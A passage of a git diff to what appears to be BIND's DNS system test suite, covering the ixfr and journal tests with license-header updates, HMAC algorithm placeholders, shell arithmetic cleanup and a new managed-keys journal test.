diff --git a/bin/tests/system/ixfr/ns1/named.conf.in b/bin/tests/system/ixfr/ns1/named.conf.in
index 854d04dedb..48fc1cd01c 100644
--- a/bin/tests/system/ixfr/ns1/named.conf.in
+++ b/bin/tests/system/ixfr/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,11 +21,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/ixfr/ns3/named.conf.in b/bin/tests/system/ixfr/ns3/named.conf.in
index 96d5ab027a..40af32492d 100644
--- a/bin/tests/system/ixfr/ns3/named.conf.in
+++ b/bin/tests/system/ixfr/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/ixfr/ns4/named.conf.in b/bin/tests/system/ixfr/ns4/named.conf.in
index ef70229ad9..ae6657e13e 100644
--- a/bin/tests/system/ixfr/ns4/named.conf.in
+++ b/bin/tests/system/ixfr/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,11 +21,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/ixfr/ns5/named.conf.in b/bin/tests/system/ixfr/ns5/named.conf.in
index a511d5b359..e1056fc589 100644
--- a/bin/tests/system/ixfr/ns5/named.conf.in
+++ b/bin/tests/system/ixfr/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	recursion no;
 	notify yes;
 	provide-ixfr no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/ixfr/setup.sh b/bin/tests/system/ixfr/setup.sh
index 19263e0b22..65aedf6934 100644
--- a/bin/tests/system/ixfr/setup.sh
+++ b/bin/tests/system/ixfr/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ixfr/tests.sh b/bin/tests/system/ixfr/tests.sh
index a0b645a55a..4b61a2c9e1 100644
--- a/bin/tests/system/ixfr/tests.sh
+++ b/bin/tests/system/ixfr/tests.sh
@@ -1,20 +1,23 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-
 # WARNING: The test labelled "testing request-ixfr option in view vs zone"
 #          is fragile because it depends upon counting instances of records
 #          in the log file - need a better approach <sdm> - until then,
 #          if you add any tests above that point, you will break the test.
 
+set -e
+
 . ../conf.sh
 
 wait_for_serial() (
@@ -205,8 +208,8 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "testing ixfr-from-differences option ($n)"
 # ns3 is primary; ns4 is secondary
-$CHECKZONE test. ns3/mytest.db > /dev/null 2>&1
-if [ $? -ne 0 ]
+{ $CHECKZONE test. ns3/mytest.db > /dev/null 2>&1; rc=$?; } || true
+if [ $rc -ne 0 ]
 then
     echo_i "named-checkzone returned failure on ns3/mytest.db"
 fi
@@ -216,6 +219,7 @@ retry_quiet 10 wait_for_serial 10.53.0.4 test. 1 dig.out.test$n || ret=1
 nextpart ns4/named.run > /dev/null
 
 # modify the primary
+sleep 1
 cp ns3/mytest1.db ns3/mytest.db
 $RNDCCMD 10.53.0.3 reload | sed 's/^/ns3 /' | cat_i
 
@@ -243,6 +247,7 @@ ret=0
 # we want to make sure that a change to sub.test results in AXFR, while
 # changes to test. result in IXFR
 
+sleep 1
 cp ns3/subtest1.db ns3/subtest.db # change to sub.test zone, should be AXFR
 nextpart ns4/named.run > /dev/null
 $RNDCCMD 10.53.0.3 reload | sed 's/^/ns3 /' | cat_i
@@ -266,6 +271,7 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "testing 'request-ixfr yes' option inheritance from view ($n)"
 ret=0
+sleep 1
 cp ns3/mytest2.db ns3/mytest.db # change to test zone, should be IXFR
 nextpart ns4/named.run > /dev/null
 $RNDCCMD 10.53.0.3 reload | sed 's/^/ns3 /' | cat_i
@@ -295,9 +301,9 @@ sub=$!
 $DIG -p ${PORT} ixfr=0 large @10.53.0.3 > dig.out.test$n
 kill $sub
 )
-lines=`grep hostmaster.large dig.out.test$n | wc -l`
+lines=$(grep hostmaster.large dig.out.test$n | wc -l)
 test ${lines:-0} -eq 2 || ret=1
-messages=`sed -n 's/^;;.*messages \([0-9]*\),.*/\1/p' dig.out.test$n`
+messages=$(sed -n 's/^;;.*messages \([0-9]*\),.*/\1/p' dig.out.test$n)
 test ${messages:-0} -gt 1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -382,9 +388,9 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "checking whether dig calculates IXFR statistics correctly ($n)"
 ret=0
-$DIG $DIGOPTS +noedns +stat -b 10.53.0.4 @10.53.0.4 test. ixfr=2 > dig.out1.test$n
+$DIG $DIGOPTS +expire +nocookie +stat -b 10.53.0.4 @10.53.0.4 test. ixfr=2 > dig.out1.test$n
 get_dig_xfer_stats dig.out1.test$n > stats.dig
-diff ixfr-stats.good stats.dig > /dev/null || ret=1
+diff ixfr-stats-with-expire.good stats.dig > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -394,20 +400,20 @@ status=$((status+ret))
 
 _wait_for_stats () {
     get_named_xfer_stats ns4/named.run "$1" test "$2" > "$3"
-    diff ixfr-stats.good "$3" > /dev/null || return 1
+    diff "$4" "$3" > /dev/null || return 1
     return 0
 }
 
 n=$((n+1))
 echo_i "checking whether named calculates incoming IXFR statistics correctly ($n)"
 ret=0
-retry_quiet 10 _wait_for_stats 10.53.0.3 "Transfer completed" stats.incoming
+retry_quiet 10 _wait_for_stats 10.53.0.3 "Transfer completed" stats.incoming ixfr-stats-without-expire.good || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
 echo_i "checking whether named calculates outgoing IXFR statistics correctly ($n)"
-retry_quiet 10 _wait_for_stats 10.53.0.4 "IXFR ended" stats.outgoing
+retry_quiet 10 _wait_for_stats 10.53.0.4 "IXFR ended" stats.outgoing ixfr-stats-with-expire.good || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -416,6 +422,7 @@ ret=0
 echo_i "testing fallback to AXFR when max-ixfr-ratio is exceeded ($n)"
 nextpart ns4/named.run > /dev/null
 
+sleep 1
 cp ns3/mytest3.db ns3/mytest.db # change to test zone, too big for IXFR
 $RNDCCMD 10.53.0.3 reload | sed 's/^/ns3 /' | cat_i
 
diff --git a/bin/tests/system/ixfr/tests_sh_ixfr.py b/bin/tests/system/ixfr/tests_sh_ixfr.py
new file mode 100644
index 0000000000..2c7fc28792
--- /dev/null
+++ b/bin/tests/system/ixfr/tests_sh_ixfr.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_ixfr(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/journal/clean.sh b/bin/tests/system/journal/clean.sh
index dc275f4391..adab870685 100644
--- a/bin/tests/system/journal/clean.sh
+++ b/bin/tests/system/journal/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,4 +18,5 @@ rm -f */named.run
 rm -f dig.out*
 rm -f journalprint.out.*
 rm -f ns1/managed-keys.bind
+rm -f ns2/managed-keys.bind
 rm -f tmp.jnl
diff --git a/bin/tests/system/journal/ns1/generic.db.in b/bin/tests/system/journal/ns1/generic.db.in
index bb75d3ce82..55669d764d 100644
--- a/bin/tests/system/journal/ns1/generic.db.in
+++ b/bin/tests/system/journal/ns1/generic.db.in
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 600
 @		SOA     ns hostmaster 2012010901 3600 1200 604800 1200
                 NS      ns
diff --git a/bin/tests/system/journal/ns1/ixfr.db.in b/bin/tests/system/journal/ns1/ixfr.db.in
index cee52ca6c5..0cb1184d5f 100644
--- a/bin/tests/system/journal/ns1/ixfr.db.in
+++ b/bin/tests/system/journal/ns1/ixfr.db.in
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 600
 @		SOA     ns hostmaster 2012010902 3600 1200 604800 1200
                 NS      ns
diff --git a/bin/tests/system/journal/ns1/named.conf.in b/bin/tests/system/journal/ns1/named.conf.in
index 3fdd96b0ed..9f72a6f084 100644
--- a/bin/tests/system/journal/ns1/named.conf.in
+++ b/bin/tests/system/journal/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,7 +20,7 @@ options {
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
-	dnssec-validation yes;
+	dnssec-validation auto;
 	minimal-responses no;
 	recursion no;
 	notify yes;
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/journal/ns2/managed-keys.bind.in b/bin/tests/system/journal/ns2/managed-keys.bind.in
new file mode 100644
index 0000000000..21397066f4
--- /dev/null
+++ b/bin/tests/system/journal/ns2/managed-keys.bind.in
@@ -0,0 +1,14 @@
+$ORIGIN .
+$TTL 0	; 0 seconds
+@			IN SOA	. . (
+				29         ; serial
+				0          ; refresh (0 seconds)
+				0          ; retry (0 seconds)
+				0          ; expire (0 seconds)
+				0          ; minimum (0 seconds)
+				)
+			KEYDATA	20210611104535 19700101000000 19700101000000 0 0 0 (
+
+				) ; ZSK; alg = 0; key id = 0
+				; next refresh: Fri, 11 Jun 2021 10:45:35 GMT
+				; no trust
diff --git a/bin/tests/system/journal/ns2/managed-keys.bind.jnl.in b/bin/tests/system/journal/ns2/managed-keys.bind.jnl.in
new file mode 100644
index 0000000000..01c1d47271
Binary files /dev/null and b/bin/tests/system/journal/ns2/managed-keys.bind.jnl.in differ
diff --git a/bin/tests/system/journal/ns2/named.conf.in b/bin/tests/system/journal/ns2/named.conf.in
new file mode 100644
index 0000000000..e7f185e722
--- /dev/null
+++ b/bin/tests/system/journal/ns2/named.conf.in
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	session-keyfile "session.key";
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	dnssec-validation auto;
+	minimal-responses no;
+	recursion no;
+	notify yes;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
diff --git a/bin/tests/system/journal/setup.sh b/bin/tests/system/journal/setup.sh
index 4a5253900c..e9b007213c 100644
--- a/bin/tests/system/journal/setup.sh
+++ b/bin/tests/system/journal/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -43,3 +45,7 @@ cp ns1/maxjournal2.jnl.saved ns1/maxjournal2.db.jnl
 
 cp ns1/managed-keys.bind.in ns1/managed-keys.bind
 $PERL ../fromhex.pl < ns1/managed-keys.bind.jnl.in > ns1/managed-keys.bind.jnl
+
+copy_setports ns2/named.conf.in ns2/named.conf
+cp ns2/managed-keys.bind.in ns2/managed-keys.bind
+cp ns2/managed-keys.bind.jnl.in ns2/managed-keys.bind.jnl
diff --git a/bin/tests/system/journal/tests.sh b/bin/tests/system/journal/tests.sh
index 3c20925dbc..5dbceb8feb 100644
--- a/bin/tests/system/journal/tests.sh
+++ b/bin/tests/system/journal/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 dig_with_opts() {
@@ -22,7 +26,7 @@ rndc_with_opts() {
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check outdated journal rolled forward (dynamic) ($n)"
 ret=0
 dig_with_opts changed soa > dig.out.test$n
@@ -30,33 +34,33 @@ grep 'status: NOERROR' dig.out.test$n > /dev/null || ret=1
 grep '2012010902' dig.out.test$n > /dev/null || ret=1
 grep 'zone changed/IN: journal rollforward completed successfully using old journal format' ns1/named.run > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check outdated empty journal did not cause an error (dynamic) ($n)"
 ret=0
 dig_with_opts unchanged soa > dig.out.test$n
 grep 'status: NOERROR' dig.out.test$n > /dev/null || ret=1
 grep '2012010901' dig.out.test$n > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check outdated journals were updated or removed (dynamic) ($n)"
 ret=0
 cat -v ns1/changed.db.jnl | grep "BIND LOG V9.2" > /dev/null || ret=1
 [ -f ns1/unchanged.db.jnl ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check updated journal has correct RR count (dynamic) ($n)"
 ret=0
 $JOURNALPRINT -x ns1/changed.db.jnl | grep "rrcount 3 " > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check new-format journal rolled forward (dynamic) ($n)"
 ret=0
 dig_with_opts changed2 soa > dig.out.test$n
@@ -65,9 +69,9 @@ grep '2012010902' dig.out.test$n > /dev/null || ret=1
 grep 'zone changed2/IN: journal rollforward completed successfully: success' ns1/named.run > /dev/null || ret=1
 grep 'zone changed2/IN: journal rollforward completed successfully using old journal format' ns1/named.run > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check new-format empty journal did not cause error (dynamic) ($n)"
 ret=0
 dig_with_opts unchanged2 soa > dig.out.test$n
@@ -76,17 +80,17 @@ grep '2012010901' dig.out.test$n > /dev/null || ret=1
 grep 'zone unchanged2/IN: journal rollforward completed successfully' ns1/named.run > /dev/null && ret=1
 grep 'zone unchanged2/IN: journal rollforward completed successfully using old journal format' ns1/named.run > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check new-format journals were updated or removed (dynamic) ($n)"
 ret=0
 cat -v ns1/changed2.db.jnl | grep "BIND LOG V9.2" > /dev/null || ret=1
 [ -f ns1/unchanged2.db.jnl ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check outdated up-to-date journal succeeded (ixfr-from-differences) ($n)"
 ret=0
 dig_with_opts -t soa ixfr > dig.out.test$n
@@ -94,16 +98,16 @@ grep 'status: NOERROR' dig.out.test$n > /dev/null || ret=1
 grep '2012010902' dig.out.test$n > /dev/null || ret=1
 grep 'zone ixfr/IN: journal rollforward completed successfully using old journal format: up to date' ns1/named.run > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check outdated journal was updated (ixfr-from-differences) ($n)"
 ret=0
 cat -v ns1/ixfr.db.jnl | grep "BIND LOG V9.2" > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check journal with mixed headers succeeded (version 1,2,1,2) ($n)"
 ret=0
 dig_with_opts -t soa hdr1d1d2d1d2 > dig.out.test$n
@@ -113,9 +117,9 @@ grep 'zone hdr1d1d2d1d2/IN: journal rollforward completed successfully using old
 grep 'zone_journal_compact: zone hdr1d1d2d1d2/IN: repair full journal' ns1/named.run > /dev/null || ret=1
 grep 'hdr1d1d2d1d2/IN: dns_journal_compact: success' ns1/named.run > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check journal with mixed headers was updated (version 1,2,1,2) ($n)"
 ret=0
 [ $($JOURNALPRINT -x ns1/d1212.jnl.saved | grep -c "version 1") -eq 2 ] || ret=1
@@ -123,9 +127,9 @@ ret=0
 [ $($JOURNALPRINT -x ns1/d1212.db.jnl | grep -c "version 1") -eq 0 ] || ret=1
 [ $($JOURNALPRINT -x ns1/d1212.db.jnl | grep -c "version 2") -eq 4 ] || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check journal with mixed headers succeeded (version 2,1,2,1) ($n)"
 ret=0
 dig_with_opts -t soa hdr1d2d1d2d1 > dig.out.test$n
@@ -135,9 +139,9 @@ grep 'zone hdr1d2d1d2d1/IN: journal rollforward completed successfully using old
 grep 'zone_journal_compact: zone hdr1d2d1d2d1/IN: repair full journal' ns1/named.run > /dev/null || ret=1
 grep 'zone hdr1d2d1d2d1/IN: dns_journal_compact: success' ns1/named.run > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check journal with mixed headers was updated (version 2,1,2,1) ($n)"
 ret=0
 [ $($JOURNALPRINT -x ns1/d2121.jnl.saved | grep -c "version 1") -eq 2 ] || ret=1
@@ -145,18 +149,18 @@ ret=0
 [ $($JOURNALPRINT -x ns1/d2121.db.jnl | grep -c "version 1") -eq 0 ] || ret=1
 [ $($JOURNALPRINT -x ns1/d2121.db.jnl | grep -c "version 2") -eq 4 ] || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check there are no journals left un-updated ($n)"
 ret=0
 c1=$(cat -v ns1/*.jnl | grep -c "BIND LOG V9")
 c2=$(cat -v ns1/*.jnl | grep -c "BIND LOG V9.2")
 [ ${c1} -eq ${c2} ] || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Check that journal with mixed headers can be compacted (version 1,2,1,2) ($n)"
 ret=0
 journal=ns1/d1212.jnl.saved
@@ -167,9 +171,9 @@ do
         $JOURNALPRINT -c $serial tmp.jnl || ret=1
 done
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Check that journal with mixed headers can be compacted (version 2,1,2,1) ($n)"
 ret=0
 journal=ns1/d2121.jnl.saved
@@ -180,18 +184,18 @@ do
         $JOURNALPRINT -c $serial tmp.jnl || ret=1
 done
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check upgrade of managed-keys.bind.jnl succeeded($n)"
 ret=0
 $JOURNALPRINT ns1/managed-keys.bind.jnl > journalprint.out.test$n
 lines=$(awk '$1 == "add" && $5 == "SOA" && $8 == "3297" { print }' journalprint.out.test$n | wc -l)
 test $lines -eq 1 || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check journal downgrade/upgrade ($n)"
 ret=0
 cp ns1/changed.db.jnl ns1/temp.jnl
@@ -202,9 +206,9 @@ $JOURNALPRINT -u ns1/temp.jnl
 $JOURNALPRINT -x ns1/temp.jnl | grep -q "Header version = 2" || ret=1
 [ $($JOURNALPRINT -x ns1/temp.jnl | grep -c "version 2") -eq 1 ] || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check max-journal-size works after journal update ($n)"
 ret=0
 # journal was repaired, it should still be big
@@ -217,9 +221,9 @@ check_size() (
 )
 retry_quiet 10 check_size || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check max-journal-size works with non-updated journals ($n)"
 ret=0
 # journal was not repaired, so it should still be big
@@ -232,16 +236,22 @@ check_size() (
 )
 retry_quiet 10 check_size || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check journal index consistency ($n)"
 ret=0
 for jnl in ns1/*.jnl; do
     $JOURNALPRINT -x $jnl 2>&1 | grep -q "Offset mismatch" && ret=1
 done
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "check that journal is applied to zone with keydata placeholder record"
+ret=0
+grep 'managed-keys-zone: journal rollforward completed successfully: up to date' ns2/named.run > /dev/null 2>&1 || ret=1
+[ $ret -eq 0 ] || echo_i "failed"
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/journal/tests_sh_journal.py b/bin/tests/system/journal/tests_sh_journal.py
new file mode 100644
index 0000000000..e492e12b52
--- /dev/null
+++ b/bin/tests/system/journal/tests_sh_journal.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_journal(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/kasp.sh b/bin/tests/system/kasp.sh
index d21839a08b..b3ddb0ed4c 100644
--- a/bin/tests/system/kasp.sh
+++ b/bin/tests/system/kasp.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -31,6 +33,7 @@ SHA224="hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA=="
